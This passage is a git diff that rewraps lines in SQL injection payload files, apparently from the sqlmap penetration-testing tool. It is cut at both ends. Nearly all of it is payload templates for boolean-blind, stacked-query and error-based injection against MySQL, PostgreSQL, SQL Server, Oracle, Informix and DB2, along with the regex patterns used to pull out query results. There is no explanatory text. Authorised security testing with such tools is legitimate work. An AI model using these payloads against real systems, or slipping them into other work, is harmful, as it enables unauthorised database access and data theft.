Microsoft SQL Server @@ -854,12 +915,18 @@ Tag: 1 1,3 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM + DUAL) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) + END) FROM DUAL) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM + DUAL) END) FROM DUAL) +
Oracle @@ -873,12 +940,18 @@ Tag: 1 1,3 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM + DUAL) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) + END) FROM DUAL) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM + DUAL) END) FROM DUAL) +
Oracle @@ -894,10 +967,12 @@ Tag: 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) +
Informix @@ -913,10 +988,14 @@ Tag: 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM + SYSMASTER:SYSDUAL) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM + SYSMASTER:SYSDUAL) +
Informix @@ -969,12 +1048,18 @@ Tag: 1 1,2,3 3 - (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT + [RANDNUM1] FROM DUAL) END) + - (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION + SELECT [RANDNUM1] FROM DUAL) END) + - (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL + UNION SELECT [RANDNUM1] FROM DUAL) END) + @@ -985,12 +1070,18 @@ Tag: 1 1,2,3 3 - (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT + [RANDNUM1] FROM DUAL) END) + - (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION + SELECT [RANDNUM1] FROM DUAL) END) + - (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL + UNION SELECT [RANDNUM1] FROM DUAL) END) + @@ -1037,12 +1128,18 @@ Tag: 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END)) +
MySQL @@ -1057,12 +1154,18 @@ Tag: 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] + FROM INFORMATION_SCHEMA.PLUGINS) END)) +
MySQL @@ -1077,12 +1180,18 @@ Tag: 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END)) +
MySQL @@ -1097,12 +1206,18 @@ Tag: 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] + FROM INFORMATION_SCHEMA.PLUGINS) END)) +
MySQL @@ -1162,12 +1277,18 @@ Tag: 3 1 - ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT + 1) + - ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END) LIMIT 1) + - ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1) + ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE + 0 END) LIMIT 1) +
PostgreSQL @@ -1181,12 +1302,18 @@ Tag: 1 3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) + END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT + [RANDNUM1]) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL + SELECT [RANDNUM1]) END)) +
Microsoft SQL Server @@ -1201,12 +1328,18 @@ Tag: 1 3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT + [RANDNUM1]) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION + ALL SELECT [RANDNUM1]) END)) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] + UNION ALL SELECT [RANDNUM1]) END)) +
Microsoft SQL Server @@ -1221,12 +1354,17 @@ Tag: 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM + DUAL) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) + FROM DUAL) +
Oracle @@ -1240,12 +1378,18 @@ Tag: 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM + DUAL) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) + END) FROM DUAL) + - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM + DUAL) END) FROM DUAL) +
Oracle @@ -1335,12 +1479,17 @@ Tag: 1 3 1 - ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + - ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM + SYSIBM.SYSDUMMY1) + - ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM + SYSIBM.SYSDUMMY1) +
IBM DB2 @@ -1354,12 +1503,18 @@ Tag: 1 3 1 - ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM + SYSIBM.SYSDUMMY1) + - ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END + FROM SYSIBM.SYSDUMMY1) + - ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') + END FROM SYSIBM.SYSDUMMY1) +
IBM DB2 @@ -1392,13 +1547,19 @@ Tag: 1 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END) + - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END) + # - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END) +
MySQL @@ -1413,13 +1574,19 @@ Tag: 1 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END) + - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END) + # - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM + INFORMATION_SCHEMA.PLUGINS) END) +
MySQL @@ -1455,13 +1622,18 @@ Tag: 1 1-8 1 - ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1 + ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1 + - ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1 + ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END) LIMIT 1 + -- - ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1 + ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE + 0 END) LIMIT 1 +
PostgreSQL @@ -1496,13 +1668,19 @@ Tag: 1 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) + END) + - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT + [RANDNUM1]) END) + -- - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL + SELECT [RANDNUM1]) END) +
Microsoft SQL Server @@ -1517,13 +1695,19 @@ Tag: 1 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM + DUAL + - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) + END) FROM DUAL + -- - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM + DUAL) END) FROM DUAL +
Oracle diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index f9505522f..8abddcb18 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -9,13 +9,17 @@ 1 1,2,3,8,9 1 - AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + AND (SELECT 2*(IF((SELECT * FROM (SELECT + CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + - AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -34,13 +38,17 @@ 3 1,8,9 1 - OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), + 8446744073709551610, 8446744073709551610))) + - OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -58,9 +66,12 @@ 1 1,2,3,8,9 1 - AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + - AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -80,7 +91,9 @@ 1 OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) - OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -100,7 +113,9 @@ 1 AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -120,7 +135,9 @@ 1 OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -138,9 +155,13 @@ 1 1,2,3,8,9 1 - AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) + AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING + utf8))) + - AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT + 